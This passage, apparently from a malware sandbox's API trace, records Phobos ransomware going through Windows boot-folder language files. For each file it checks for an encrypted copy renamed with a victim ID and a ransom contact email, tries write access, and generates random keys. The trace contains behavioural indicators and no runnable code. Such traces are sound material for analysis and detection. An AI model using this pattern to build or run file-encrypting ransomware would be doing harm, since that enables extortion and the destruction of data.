(lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.260] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-br\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.261] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.261] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45472) returned 1 [0132.261] CloseHandle (hObject=0x2d8) returned 1 [0132.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui")) returned 0x20 [0132.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-BR\\memtest.exe.mui" (normalized: "c:\\boot\\pt-br\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.261] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.261] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=76640) returned 1 [0132.261] CloseHandle (hObject=0x2d8) returned 1 [0132.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui")) returned 0x20 [0132.261] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.261] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\bootmgr.exe.mui" (normalized: "c:\\boot\\pt-pt\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.262] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.262] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.262] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45984) returned 1 [0132.262] CloseHandle (hObject=0x2d8) returned 1 [0132.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui")) returned 0x20 [0132.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.262] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\pt-PT\\memtest.exe.mui" (normalized: "c:\\boot\\pt-pt\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.262] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.262] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.262] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=74080) returned 1 [0132.262] CloseHandle (hObject=0x2d8) returned 1 [0132.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui")) returned 0x20 [0132.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.262] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\bootmgr.exe.mui" (normalized: "c:\\boot\\qps-ploc\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.263] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.263] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.263] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=54168) returned 1 [0132.263] CloseHandle (hObject=0x2d8) returned 1 [0132.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui")) returned 0x20 [0132.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.263] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\qps-ploc\\memtest.exe.mui" (normalized: "c:\\boot\\qps-ploc\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.263] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.263] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.263] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=92576) returned 1 [0132.263] CloseHandle (hObject=0x2d8) returned 1 [0132.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll")) returned 0x20 [0132.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\bootres.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.264] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\bootres.dll" (normalized: "c:\\boot\\resources\\bootres.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.264] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.264] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.264] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=12192) returned 1 [0132.264] CloseHandle (hObject=0x2d8) returned 1 [0132.269] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui")) returned 0x20 [0132.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.270] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\Resources\\en-US\\bootres.dll.mui" (normalized: "c:\\boot\\resources\\en-us\\bootres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.270] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.270] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.270] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=76128) returned 1 [0132.270] CloseHandle (hObject=0x2d8) returned 1 [0132.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui")) returned 0x20 [0132.270] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.270] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ro-RO\\bootmgr.exe.mui" (normalized: "c:\\boot\\ro-ro\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.270] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.270] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.270] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77152) returned 1 [0132.270] CloseHandle (hObject=0x2d8) returned 1 [0132.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui")) returned 0x20 [0132.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\bootmgr.exe.mui" (normalized: "c:\\boot\\ru-ru\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.271] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.271] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=44960) returned 1 [0132.271] CloseHandle (hObject=0x2d8) returned 1 [0132.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui")) returned 0x20 [0132.271] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\ru-RU\\memtest.exe.mui" (normalized: "c:\\boot\\ru-ru\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.271] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.271] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.272] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77144) returned 1 [0132.272] CloseHandle (hObject=0x2d8) returned 1 [0132.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui")) returned 0x20 [0132.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sk-SK\\bootmgr.exe.mui" (normalized: "c:\\boot\\sk-sk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.272] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.272] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=76640) returned 1 [0132.272] CloseHandle (hObject=0x2d8) returned 1 [0132.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui")) returned 0x20 [0132.272] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sl-SI\\bootmgr.exe.mui" (normalized: "c:\\boot\\sl-si\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.272] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.272] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.273] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77152) returned 1 [0132.273] CloseHandle (hObject=0x2d8) returned 1 [0132.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui")) returned 0x20 [0132.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.273] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.273] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.273] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.273] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=44888) returned 1 [0132.273] CloseHandle (hObject=0x2d8) returned 1 [0132.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui")) returned 0x20 [0132.273] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.273] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-CS\\memtest.exe.mui" (normalized: "c:\\boot\\sr-latn-cs\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.273] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.273] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.274] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=77152) returned 1 [0132.274] CloseHandle (hObject=0x2d8) returned 1 [0132.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui")) returned 0x20 [0132.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.274] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sr-Latn-RS\\bootmgr.exe.mui" (normalized: "c:\\boot\\sr-latn-rs\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.274] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.274] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.274] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=76128) returned 1 [0132.274] CloseHandle (hObject=0x2d8) returned 1 [0132.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui")) returned 0x20 [0132.274] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.274] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\bootmgr.exe.mui" (normalized: "c:\\boot\\sv-se\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.274] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.274] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.275] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=44952) returned 1 [0132.275] CloseHandle (hObject=0x2d8) returned 1 [0132.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui")) returned 0x20 [0132.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.275] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\sv-SE\\memtest.exe.mui" (normalized: "c:\\boot\\sv-se\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.275] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.275] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.275] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=75096) returned 1 [0132.275] CloseHandle (hObject=0x2d8) returned 1 [0132.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui")) returned 0x20 [0132.275] GetFileAttributesW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0132.275] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\bootmgr.exe.mui" (normalized: "c:\\boot\\tr-tr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0132.275] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2d4ff28 | out: pbBuffer=0x2d4ff28) returned 1 [0132.276] CreateFileW (lpFileName="\\\\?\\C:\\Boot\\tr-TR\\memtest.exe.mui" (normalized: "c:\\boot\\tr-tr\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d8 [0132.276] GetFileSizeEx (in: hFile=0x2d8, lpFileSize=0x2d4fec8 | out: lpFileSize=0x2d4fec8*=45472) returned 1 [0132.276] CloseHandle (hObject=0x2d8) returned 1 [0132.276] GetFileAttributesW 